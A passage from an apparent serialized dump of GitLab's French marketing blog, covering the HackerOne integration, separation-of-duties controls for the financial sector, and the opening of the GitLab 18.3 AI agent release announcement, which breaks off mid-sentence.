Ainsi, chaque fois que vous créez une merge request, SAST analyse les différences entre la branche de fonctionnalité et la branche cible pour détecter les vulnérabilités et fournit des données précises sur chaque faille de sécurité afin d'en faciliter la correction.\n\n![Vulnérabilité d'injection NoSQL détectée dans une MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nLes résultats du scanner SAST peuvent bloquer le merge du code si des stratégies de sécurité sont appliquées. Les utilisateurs natifs de GitLab peuvent être définis comme approbateurs, ce qui permet d'effectuer les revues requises avant de fusionner du code non sécurisé. Cela garantit que toutes les vulnérabilités sont surveillées par les parties concernées.\n\n![Stratégie d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne a intégré GitLab à ses processus opérationnels et à ses processus de développement de manière stratégique, ce qui lui a permis de les rendre plus fluides et plus efficaces, à grande échelle, et de renforcer la collaboration entre les équipes. Parmi ces améliorations, HackerOne profite désormais de déploiements plus rapides et d'une planification inter-équipes performante.\n\n## Principaux avantages d'intégrer GitLab à HackerOne\n\nL'utilisation conjointe de HackerOne et GitLab offre les avantages suivants :\n\n* **Visibilité accrue en matière de sécurité** : les équipes de développement bénéficient d'un accès immédiat aux failles de sécurité sans quitter leur environnement de workflow principal. Cette visibilité en temps réel aide les équipes à prioriser les problèmes de sécurité parallèlement au développement des fonctionnalités.\n* **Processus de correction rationalisé** : en convertissant automatiquement les rapports HackerOne en tickets GitLab, le processus de correction des vulnérabilités s'intègre naturellement au cycle de développement standard. Cela évite les changements de contexte entre les plateformes et garantit des correctifs de sécurité en parallèle des autres tâches de développement.\n* **Temps de correction réduit** : l'intégration raccourcit considérablement le délai entre la détection d'une vulnérabilité et sa résolution. Les soumissions de vulnérabilités dans HackerOne étant immédiatement disponibles dans GitLab, les équipes de développement peuvent réagir sans délai et renforcer ainsi la posture de sécurité globale.\n* **Collaboration améliorée** : cette intégration fluidifie les échanges entre les chercheurs en cybersécurité, les équipes de sécurité et de développement. Les commentaires et mises à jour circulent entre les deux plateformes, créant ainsi un environnement collaboratif axé sur le renforcement de la sécurité.\n* **Impact réel** : les entreprises qui ont opté pour l'intégration HackerOne + GitLab ont constaté les améliorations suivantes :\n    * Une réduction pouvant atteindre 70 % du temps nécessaire entre l'identification d'une vulnérabilité et sa correction\n    * Une satisfaction accrue des équipes de développement, qui peuvent continuer à travailler dans leur environnement préféré\n    * Une visibilité accrue de la sécurité à l'échelle de l'entreprise\n    * Une allocation plus efficace des ressources de sécurité\n\n## En savoir plus sur GitLag + HackerOne \n\nPour en savoir plus sur GitLab et HackerOne, et découvrir comment nous pouvons vous aider à renforcer votre posture de sécurité, consultez les ressources suivantes :\n\n* [Utilisation de l'intégration GitLab sur HackerOne](https://docs.hackerone.com/en/articles/8571227-gitlab-integration)\n* [Programme de Bug Bounty de GitLab sur HackerOne](https://hackerone.com/gitlab?type=team)\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n* [HackerOne réalise des déploiements 5  fois plus rapides avec la sécurité intégrée de GitLab](https://about.gitlab.com/fr-fr/customers/hackerone/) \n* [Documentation sur la sécurité des applications GitLab](https://docs.gitlab.com/ee/user/application_security/)\n",[9,731,233,284,753,684,754],"DevSecOps platform","bug bounty","2025-05-13",{"slug":757,"featured":6,"template":689},"enhance-application-security-with-gitlab-hackerone","content:fr-fr:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","fr-fr/blog/enhance-application-security-with-gitlab-hackerone.yml","fr-fr/blog/enhance-application-security-with-gitlab-hackerone",{"_path":763,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":764,"content":770,"config":779,"_id":781,"_type":13,"title":782,"_source":15,"_file":783,"_stem":784,"_extension":18},"/fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"ogTitle":765,"schema":766,"ogImage":767,"ogDescription":768,"ogSiteName":673,"noIndex":6,"ogType":674,"ogUrl":769,"title":765,"canonicalUrls":769,"description":768},"La séparation des tâches de GitLab pour le secteur financier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Les fonctionnalités de séparation des tâches de GitLab pour le secteur financier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n        \"datePublished\": \"2024-08-13\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","Découvrez comment GitLab garantit un développement logiciel sécurisé et conforme aux exigences de séparation des tâches dans le secteur financier.","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"heroImage":767,"body":771,"authors":772,"updatedDate":775,"date":776,"title":777,"tags":778,"description":768,"category":9},"Dans le développement logiciel, des mesures rigoureuses de sécurité et de conformité sont indispensables, en particulier dans des secteurs tels que les services financiers, où l'intégrité des données et le respect des réglementations ne sont pas négociables. La séparation des tâches (Separation of Duties) joue un rôle clé dans le maintien de ces normes. Elle garantit qu'aucune personne ne contrôle totalement un processus du début à la fin, réduisant ainsi le risque d'erreurs et d'activités non autorisées. La séparation des tâches atténue les risques liés à la chaîne d'approvisionnement logicielle en empêchant les actes externes et malveillants susceptibles de compromettre l'intégrité du processus de développement logiciel.\n\n## L'importance de la séparation des tâches dans le secteur des services financiers\n\nDans le secteur des [services financiers](https://about.gitlab.com/fr-fr/solutions/finance/ \"Services financiers\"), la séparation des tâches joue un rôle essentiel pour protéger les données sensibles et garantir la conformité réglementaire. Sur le plan stratégique, voici comment la séparation des tâches contribue à ce secteur :\n\n* **Atténuation des risques :** en répartissant les responsabilités entre plusieurs personnes exerçant des rôles différents, la séparation des tâches réduit le risque d'erreurs, de fraudes et d'activités non autorisées qui pourraient compromettre l'intégrité des systèmes ou la conformité réglementaire.\n* **Renforcement de la responsabilité :** une répartition claire des tâches empêche quiconque d'initier, d'autoriser ou d'exécuter un processus complet de manière autonome. Cette transparence améliore la responsabilisation, essentielle pour maintenir la confiance avec les parties prenantes et les organismes régulateurs.\n* **Conformité réglementaire :** la séparation des tâches aide les entreprises à respecter les réglementations financières afin que les opérations sensibles soient menées dans le respect des règles strictes de surveillance et de contrôle. La conformité à ces normes protège non seulement contre les sanctions, mais préserve aussi la réputation de l'entreprise.\n* **Résilience opérationnelle :** en décentralisant la prise de décision et l'exécution des tâches, les entreprises deviennent moins vulnérables aux perturbations causées par des erreurs humaines, des actions malveillantes ou des événements inattendus.\n\n## Quelles sont les fonctionnalités de séparation des tâches de GitLab ?\n\nGitLab offre des fonctionnalités de séparation des tâches à chaque étape du workflow [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\").\n\n![La séparation des tâches appliquée aux services financiers - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nLe diagramme ci-dessus illustre l'intégration de fonctionnalités clés telles que les stratégies d'approbation des merge requests, les fonctionnalités protégées, les autorisations des utilisateurs, les frameworks de conformité et les événements d'audit, lesquelles fonctionnent de concert pour appliquer les principes de la séparation des tâches. Chaque fonctionnalité est détaillée dans les sections suivantes, qui vous expliquent comment mettre en place un environnement de développement sécurisé et conforme.\n\n### Les stratégies d'approbation des merge requests\n\nL’un des défis auxquels le secteur des services financiers est confronté est la mise en œuvre des mécanismes d'approbation qui bloquent l'intégration de modifications non autorisées ou non vérifiées. C'est là que les [stratégies d'approbation des merge requests](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) entrent en jeu. Elles renforcent la séparation des tâches entre les équipes de sécurité et de développement, en empêchant les développeurs et développeuses d'approuver leurs propres modifications de code, en particulier si elles contiennent des vulnérabilités. Elles veillent également à ce que le code ne soit pas déployé directement dans des environnements de production sans une supervision adéquate. \n\nLors de l'élaboration d'une stratégie d'approbation, il est conseillé de déterminer qui serait l'approbateur idéal pour garantir la qualité et la sécurité du code. Il peut s'agir d'un utilisateur individuel, d'un groupe tel que l'équipe de sécurité des applications, ou encore d'une personne exerçant une fonction spécifique, tel qu'un chargé de maintenance. Pour ajouter d'autres restrictions, vous devez prendre en compte les fonctionnalités stratégiques clés suivantes :\n\n* **Empêcher l'approbation par l'auteur :** cette mesure instaure un garde-fou afin que l'auteur d'une merge request ne puisse pas approuver ses propres modifications. En exigeant une revue de code indépendante, cette stratégie contribue à maintenir l'objectivité et l'impartialité du processus d'approbation.\n* **Empêcher les approbations par les utilisateurs ayant ajouté des commits :** les utilisateurs qui ajoutent des commits à une merge request ne peuvent pas non plus l'approuver. Cette stratégie renforce le principe de revue de code indépendante, de sorte que les modifications sont examinées par des membres de l'équipe qui n'ont pas directement contribué aux modifications.\n* **Empêcher la modification des règles d'approbation :** pour préserver l'intégrité du processus d'approbation, GitLab permet aux administrateurs d'empêcher la modification des règles d'approbation au niveau du projet ou de la merge request. Ainsi, une fois les stratégies d'approbation définies, ces règles ne peuvent plus être contournées ou modifiées par des utilisateurs non autorisés.\n* **Exiger le mot de passe de l'utilisateur lors de l'approbation :** pour encore plus de sécurité, GitLab peut demander aux utilisateurs de saisir leur mot de passe lors de l'approbation d'une merge request. \n\nAfin de maintenir une séparation claire des tâches, il est conseillé de [créer un groupe principal distinct](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance) destiné à héberger vos stratégies de sécurité, ainsi que les stratégies d'approbation des merge requests. Cette configuration réduit le nombre d'utilisateurs ayant des autorisations héritées et permet un contrôle plus strict de la gestion des stratégies. À partir de ce groupe distinct, vous pouvez [relier les projets relatifs aux stratégies de sécurité](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project) au niveau du groupe le plus élevé qui correspond à vos objectifs. Ainsi, vous réduisez les frais généraux de gestion des stratégies et garantissez une couverture complète de votre environnement de développement.\n\nIl est également important de noter que lorsqu'une stratégie est activée par défaut, elle s'applique automatiquement à tous les projets au sein des groupes, sous-groupes et projets associés. Si vous souhaitez appliquer des stratégies de manière plus ciblée, GitLab vous recommande de les associer à un label de [framework de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html). Nos clients soumis à de fortes réglementations créent généralement des labels de conformité spécifiques pour répondre aux exigences réglementaires, telles que « SOX » et « PCI ». Associer ces labels à un framework permet également au [centre de conformité natif](https://docs.gitlab.com/ee/user/compliance/compliance_center/) de gérer des stratégies de sécurité adaptées à divers cas d'utilisation.\n\n### Les frameworks de conformité et contrôles\n\nLes grandes entreprises évoluant dans des secteurs réglementés rencontrent des défis importants liés au maintien de la conformité. Les processus manuels sont sujets aux erreurs et il peut être difficile de maintenir une application cohérente des stratégies au sein des différentes équipes.\n\nEn utilisant les frameworks de conformité de GitLab, ces entreprises peuvent automatiser et administrer des mesures préventives, gérer systématiquement les risques et mettre en œuvre la conformité réglementaire de manière fluide. Ces frameworks permettent d'intégrer des protocoles de sécurité et des jobs personnalisés dans n’importe quel pipeline. \n\nPour protéger les paramètres de conformité au niveau de l'entreprise, GitLab permet uniquement aux propriétaires de groupes ou de projets d'ajouter ou de supprimer des frameworks de conformité. Cette mesure empêche les équipes de développement ou les responsables de modifier les configurations de conformité sans disposer des autorisations appropriées, ajoutant ainsi un niveau de sécurité supplémentaire. Il est important de noter que lorsqu'une personne dispose des autorisations de chargé de maintenance, elle est autorisée à créer un sous-groupe, elle devient propriétaire de ce sous-groupe et elle peut en modifier le framework de conformité. Pour éviter cela, il convient de [limiter le nombre de personnes autorisées à créer des sous-groupes](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups) via les paramètres d'autorisations et de gestion des groupes.\n\n### La séparation des tâches en fonction des autorisations et des rôles\n\nPour implémenter efficacement la séparation des tâches dans le secteur des services financiers, il est essentiel d'établir un contrôle d'accès clair et précis. GitLab propose un [modèle d'autorisations](https://docs.gitlab.com/ee/user/permissions.html) à plusieurs niveaux avec des rôles prédéfinis : invité, rapporteur, développeur, chargé de maintenance et propriétaire. Chaque rôle dispose d'un ensemble spécifique d'autorisations afin que les personnes concernées puissent accomplir leurs tâches sans outrepasser leurs attributions, évitant ainsi les conflits d'intérêts ou les risques pour la sécurité. GitLab recommande d'attribuer les rôles en suivant le [principe du moindre privilège en matière d'accès](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nPour les entreprises ayant besoin d'une gestion plus granulaire, en particulier celles qui utilisent [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\"), les [rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) offrent encore plus de flexibilité. Ces rôles permettent de définir des autorisations spécifiques, adaptées à leurs workflows uniques et aux exigences de conformité associées. Ce système est particulièrement utile pour garantir la séparation des tâches, car aucune personne ne peut effectuer des tâches contradictoires.\n\nUn exemple courant est le rôle de déployeur : il s'agit d'une personne qui a l'autorisation de déployer des jobs, mais pas de modifier ou d'effectuer un push du code. GitLab répond à cette exigence par le biais des [environnements protégés](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments) qui vous permettent d'[inviter des groupes autorisés à déployer des jobs](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments) tout en limitant le rôle des utilisateurs à celui de rapporteur. Notez que le job de déploiement doit inclure le mot-clé de l'environnement concerné. Cette configuration permet aux utilisateurs de déployer des jobs sans pouvoir modifier le code, garantissant ainsi le respect des exigences en matière de conformité réglementaire.\n\nEn définissant et en appliquant rigoureusement les rôles et autorisations, les entreprises peuvent créer un environnement de développement sécurisé et conforme. Si vous souhaitez examiner les autorisations de vos utilisateurs sur une plus grande échelle, vous pouvez utiliser ce [rapport sur les membres d'un groupe](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report). Il vous permet de voir le nombre de membres occupant chaque rôle dans votre environnement et d'évaluer les actions à entreprendre en conséquence.\n\n### Les fonctionnalités protégées\n\nGitLab propose plusieurs fonctionnalités « protégées » pour renforcer le contrôle de votre processus de développement. Ces fonctionnalités peuvent s'avérer essentielles pour maintenir la séparation des tâches de sorte que seules les personnes autorisées puissent apporter des modifications importantes.\n\n* **Branches protégées :** une branche protégée restreint l'accès à un nombre limité de personnes pouvant effectuer un push, fusionner ou effectuer un push forcé vers la branche. Cela s'avère particulièrement utile pour les branches telles que la branche « principale » ou la branche de « production », afin que seuls les utilisateurs autorisés puissent apporter des modifications.\n* **Tags Git protégés :** ces tags permettent de contrôler les personnes autorisées à créer des tags. Cela permet d'éviter les mises à jour ou les suppressions accidentelles une fois le tag créé, préservant ainsi l'intégrité de votre gestion des versions.\n* **Environnements protégés :** il est impératif de restreindre l'accès à certains environnements spécifiques, en particulier les environnements de production, contre tout accès non autorisé. Dans un environnement protégé, seuls les utilisateurs disposant des privilèges appropriés peuvent y effectuer des déploiements, afin de protèger l'environnement contre toute modification involontaire. Cela renvoie à la fonctionnalité du rôle de déployeur mentionnée précédemment, qui permet à certains utilisateurs de déployer des jobs sans pour autant modifier le code, garantissant ainsi la conformité et la sécurité.\n* **Paquets protégés :** l'utilisation de règles de protection des paquets permet de limiter le nombre d'utilisateurs pouvant apporter des modifications à ces paquets.\n  Ces fonctionnalités protégées contribuent collectivement à maintenir un environnement de développement sécurisé et conforme aux principes de la séparation des tâches.\n\n### Les événements d'audit et le centre de conformité\n\nNous avons exploré les stratégies d'approbation, les frameworks de conformité, les rôles et les fonctionnalités protégées. Il nous reste maintenant à découvrir comment GitLab permet de surveiller et d'auditer ces implémentations pour en garantir le respect. Les [événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html) de GitLab fournissent aux propriétaires et administrateurs un enregistrement détaillé des activités et des modifications, telles que l'activité des utilisateurs et les ajustements apportés au niveau du projet. Cette journalisation est essentielle pour suivre les actions des utilisateurs et repérer tout comportement non autorisé. Le [streaming des événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) optimise ce processus en permettant aux entreprises de diffuser des événements d'audit vers des systèmes externes pour une analyse et une alerte en temps réel. Ce faisant, toute altération ou violation des exigences de conformité est détectée, ce qui permet d'y remédier rapidement.\n\nLe [centre de conformité de GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) centralise la gestion et la surveillance des activités de conformité. Il offre une vue d'ensemble de l'état de conformité des projets et des groupes. Ce centre met en évidence les violations des exigences de conformité, telles que le non-respect des règles d'approbation des merge requests ou d'autres stratégies. Les administrateurs peuvent ainsi traiter rapidement les tickets, en certifiant le respect des normes de conformité prédéfinies. Cette approche centralisée simplifie la gestion de la conformité tout en garantissant un niveau élevé de surveillance et de contrôle.\n\n> Si vous souhaitez en savoir plus sur la vision de GitLab en matière de séparation des tâches et de conformité, consultez la page [Direction du produit GitLab lié à la Gouvernance](https://about.gitlab.com/direction/govern/) et la [documentation sur la conformité de GitLab](https://docs.gitlab.com/ee/administration/compliance.html).",[773,774],"Cherry Han","Gavin Peltz","2024-11-18","2024-08-13","Les fonctionnalités de séparation des tâches de GitLab pour le secteur financier",[9,753,703,555],{"slug":780,"featured":6,"template":689},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:fr-fr:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":786,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":787,"content":791,"config":799,"_id":801,"_type":13,"title":802,"_source":15,"_file":803,"_stem":804,"_extension":18},"/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering",{"config":788,"title":789,"description":790},{"noIndex":6},"GitLab 18.3 : orchestration IA et ingénierie logicielle","Découvrez comment nous développons la collaboration humain-IA avec des flows améliorés, une gouvernance d'entreprise et une intégration fluide des outils.",{"title":792,"description":790,"authors":793,"heroImage":795,"date":796,"body":797,"category":729,"tags":798},"GitLab 18.3 : expansion de l'orchestration IA dans l'ingénierie logicielle",[794],"Bill Staples","https://res.cloudinary.com/about-gitlab-com/image/upload/v1755711502/wuuadis1pza3zehqohcc.png","2025-08-21","GitLab est aujourd'hui une plateforme DevSecOps complète qui unifie chaque étape du cycle de vie logiciel. Nous n'arrêtons pas l'innovation et continuons à œuvrer afin de devenir la première plateforme au monde alimentée par l'IA native pour l'ingénierie logicielle. Chez GitLab, nous croyons que l'avenir de l'ingénierie logicielle repose sur une collaboration intrinsèque entre l'humain et l'IA, c'est pourquoi nous souhaitons proposer les meilleures fonctionnalités d'IA à chaque utilisateur GitLab.\n\nCette transformation s'opère à trois niveaux distincts qui vont au-delà de ce que proposent les autres outils de développement IA :\n\n![Diapositive de transformation d'IA native](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png)\n\n**Premièrement, nous sommes un système pour l'enregistrement.** Notre plateforme de données unifiée contient vos actifs numériques les plus précieux, comme votre code source et votre propriété intellectuelle, ainsi qu'une large quantité de données non structurées de vos projets, des backlogs de bugs, des configurations CI/CD, des historiques de déploiement, des rapports de sécurité et des données de conformité. Ces données contextuelles d'une valeur inestimable sont en sécurité dans votre environnement GitLab et ne sont pas accessibles aux agents génériques ni aux grands modèles de langage (LLM).\n\n**Deuxièmement, nous agissons comme votre plan de contrôle logiciel.** Nous orchestrons vos processus métier critiques via des dépôts Git, des API REST et des interfaces basées sur des webhooks qui alimentent votre livraison logicielle de bout en bout. Pour nombre de nos clients, il s'agit d'une dépendance de niveau 0 sur laquelle leurs processus métier critiques s'appuient quotidiennement.\n\n**Troisièmement, nous offrons une expérience utilisateur puissante.** Nous proposons une interface intégrée qui élimine les changements de contexte coûteux qui ralentissent la plupart des équipes d'ingénierie. Plus de 50 millions d'utilisateurs enregistrés et notre vaste communauté dépendent de GitLab pour accomplir leur travail, et ils profitent d'une visibilité complète du cycle de vie et des outils de collaboration sur une seule plateforme. Forte de cette expertise, GitLab occupe une position de pionnière unique dans la collaboration intuitive humain-IA qui amplifie la productivité des équipes tout en préservant les workflows que nos utilisateurs connaissent et auxquels ils font confiance.\n\n**Extension de notre plateforme avec l'IA native intégrée à chaque niveau**\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/) intègre et étend ces trois niveaux. Conçue pour l'extensibilité et l'interopérabilité, elle permet aux clients et partenaires de créer des solutions qui génèrent encore plus de valeur. Notre approche de plateforme ouverte met l'accent sur une connectivité transparente avec les outils et systèmes IA externes tout en garantissant une intégration à notre pile existante aux trois niveaux.\n\n* Tout d'abord, nous étendons notre plateforme de données unifiée avec un **graphique de connaissances** optimisé pour l'accès agentique qui indexe et relie le code avec toutes vos autres données non structurées. L'IA est friande de contexte, et nous sommes persuadés que cette approche accélérera non seulement le raisonnement et l'inférence par les agents, mais fournira également des résultats agentiques plus économiques et de meilleure qualité.\n* Ensuite, nous ajoutons une **couche d'orchestration** importante en trois parties distinctes à notre plan de contrôle existant : elle permet aux agents et aux flows de s'enregistrer comme abonnés aux événements SDLC GitLab, construit un nouveau moteur d'orchestration pour les flows multi-agents conçus sur mesure et expose les outils, agents et flows GitLab via Model Context Protocol (MCP) et des protocoles standards pour une interopérabilité sans précédent.\n* Enfin, nous étendons **l'expérience GitLab** pour offrir des agents et des flows d'agents de premier plan à travers tout le cycle de développement logiciel. Vous pourrez assigner des tâches asynchrones aux agents, les mentionner dans les commentaires et créer des agents personnalisés avec un contexte spécifique à vos workflows. Mais plus important encore, GitLab livre des agents natifs pour chaque étape du développement et propose un riche écosystème d'agents tiers. Cette approche crée une véritable collaboration humain-IA où vous pourrez travailler avec les agents IA aussi naturellement qu'avec vos collègues.\n\nDécouvrez en vidéo les nouveautés de la version 18.3 ou poursuivez votre lecture.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab_18.3 Release_081925_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Nouveautés de GitLab 18.3\n\nLa version 18.2 a introduit des [agents IA spécialisés](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box) qui travaillent aux côtés des équipes de développement tout au long du cycle de développement logiciel, ainsi que notre [Software Development Flow](\u003Chttps://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta>), une fonctionnalité puissante qui donne aux utilisateurs la capacité d'orchestrer plusieurs agents pour planifier, implémenter et tester des changements de code de bout en bout.\n\nGitLab 18.3 introduit des intégrations et une interopérabilité étendues, davantage de Flows, et une conscience contextuelle améliorée sur tout le cycle de développement logiciel.\n\n### Extension des intégrations et de l'interopérabilité \n\nNous offrons une extensibilité IA complète grâce aux agents GitLab de première partie et à un riche écosystème d'agents tiers avec un accès complet au contexte et aux données du projet. Cette approche maintient les workflows natifs et la gouvernance de GitLab et garantit une flexibilité dans le choix de vos outils préférés grâce à une orchestration hautement intégrée entre ces agents et la plateforme centrale de GitLab. Les équipes bénéficient de fonctionnalités IA améliorées, mais conservent leurs avantages clés d'intégration, de supervision et d'expérience utilisateur.\n\n* **Serveur MCP – intégration IA universelle :** le serveur ([MCP](https://about.gitlab.com/fr-fr/topics/ai/model-context-protocol/)) de GitLab permet aux systèmes IA de s'intégrer en toute sécurité directement avec vos projets GitLab et vos processus de développement. Cette interface standardisée élimine le besoin d'intégrations personnalisées supplémentaires et permet à vos outils IA, y compris [Cursor](https://docs.cursor.com/en/tools/mcp), de fonctionner intelligemment dans votre environnement GitLab existant. Consultez notre [documentation](https://docs.gitlab.com/fr-fr/user/gitlab_duo/model_context_protocol/mcp_server/) pour obtenir une liste complète des outils inclus avec la version 18.3. **Des outils supplémentaires sont prévus pour la version 18.4.**\n\n> *« Intégrer les workflow GitLab directement dans Cursor est une étape cruciale afin de réduire les frictions pour les équipes de développement. Si nous réduisons le besoin de changer de contexte, les équipes peuvent vérifier le statut des tickets, examiner les merge requests et surveiller les résultats des pipelines sans jamais quitter leur environnement de développement. Cette intégration est un ajustement naturel pour nos clients partagés, et nous nous réjouissons d'un partenariat à long terme avec GitLab pour continuer à améliorer la productivité de nos équipes. »*\n>\n> \\- **Ricky Doar, VP of Field Engineering chez Cursor**\n>\n> *« Le serveur MCP et l'assistance des agents de GitLab CLI créent de nouvelles façons puissantes pour Amazon Q de s'intégrer aux workflow de développement. Amazon Q Developer peut maintenant se connecter directement via l'interface MCP distante de GitLab, tandis que les équipes peuvent déléguer des tâches de développement en mentionnant simplement Amazon Q CLI dans les tickets et les merge requests. Les capacités robustes de sécurité et de gouvernance intégrées dans ces intégrations donnent aux entreprises la confiance nécessaire pour tirer parti des outils de codage IA tout en préservant leurs normes de développement. Notre partenariat avec GitLab démontre l'engagement continu d'AWS à étendre notre écosystème IA et à rendre les outils de développement intelligents accessibles partout où les développeurs travaillent. »*\n>\n> \\- **Deepak Singh, Vice President of Developer Agents and Experiences chez AWS**\n\n* **Assistance des agents de GitLab CLI  pour Claude Code, Codex, Amazon Q, Google Gemini et opencode (Bring Your Own Key) :** la version 18.3 introduit des intégrations qui permettent aux équipes de déléguer des tâches de routine en mentionnant leurs agents directement dans les tickets ou les merge requests. Dès que ces assistants IA sont mentionnés, ils lisent automatiquement le contexte environnant et le code du dépôt, puis répondent au commentaire de l'utilisateur en proposant des changements de code prêts à être examinés ou des commentaires inline. Ces intégrations requièrent l'utilisation de votre propre clé API pour les fournisseurs IA respectifs, conservent toutes les interactions en mode natif dans l'interface de GitLab et maintiennent les permissions appropriées et les pistes d'audit.\n\n\n  **Remarque :** les agents tiers font partie de la version bêta GitLab Premium et ne sont disponibles que pour les clients GitLab Duo Enterprise à des fins d'évaluation.\n\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Third Party Agents Flows Claude Code\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> *« L'intégration de Claude Code directement dans GitLab est une assistance IA disponible là où des millions de développeurs collaborent déjà et livrent du code au quotidien. En mentionnant Claude directement dans les tickets et les merge requests, il est possible d'éliminer les obstacles et de maintenir  la qualité avec une supervision humaine et des processus de révision. Cette mise à jour permet de tirer profit des capacités de Claude Code dans davantage de contextes où les équipes travaillent et transforme l'IA en un composant naturel de leur workflow de développement. »*\n>\n> **\\- Cat Wu, Claude Code Product Lead, Anthropic**\n>\n> *« Avec la nouvelle intégration d'agents de GitLab dans la version 18.3, vous pouvez utiliser opencode dans vos workflow existants. Il vous suffit de mentionner opencode dans un ticket ou une merge request, et il exécutera votre agent directement dans votre pipeline CI. Cette liberté dans la configuration et l'exécution d'opencode est le type d'intégration que la communauté open source apprécie vraiment. »*\n>\n> **\\- Jay V., CEO, opencode**\n\n* **Assistance Agentic Chat pour l'IDE de Visual Studio et l'interface utilisateur GitLab disponible pour tous les clients GitLab Premium et Ultimate :** avec la version 18.3, vous n'avez plus besoin de changer de contexte entre les outils pour accéder aux données complètes du cycle de vie de développement de GitLab. Nos intégrations améliorées injectent toute la puissance de GitLab Duo dans l'interface utilisateur GitLab ainsi que dans les IDE, et l'assistance inclut désormais Visual Studio en plus de JetBrains et VS Code. Cette nouveauté aide les développeurs à rester concentrés et à accéder au contexte détaillé du projet, à l'historique de déploiement et aux données de collaboration d'équipe directement dans leur environnement préféré.\n* **Assistance étendue des modèles IA :** GitLab Duo Self-Hosted prend maintenant en charge des modèles IA supplémentaires afin d'offrir aux équipes plus de flexibilité dans leurs workflows de développement assistés par l'IA. Vous pouvez maintenant déployer des modèles OpenAI GPT open source (20B et 120B de paramètres) via vLLM sur votre matériel de centre de données ou via des services cloud comme Azure OpenAI et AWS Bedrock dans votre cloud privé. De plus, Claude 4 d'Anthropic est disponible sur AWS Bedrock.\n\n### Nouveaux Flows de développement automatisés\n\nGitLab Flows coordonne plusieurs agents IA avec des instructions prédéfinies pour gérer de manière autonome ces tâches chronophages et routinières afin que les équipes de développement puissent se concentrer sur le cœur de leur travail.\n\nGitLab 18.3 possède deux nouveaux Flows :\n\n* **Flow Issue-to-MR (génération de code automatisée du concept à la complétion en quelques minutes) :** ce Flow convertit automatiquement les tickets en merge requests (MR) exploitables en coordonnant des agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code de qualité prêt pour une revue. Vous pouvez ainsi mettre en œuvre des idées en quelques minutes au lieu de plusieurs 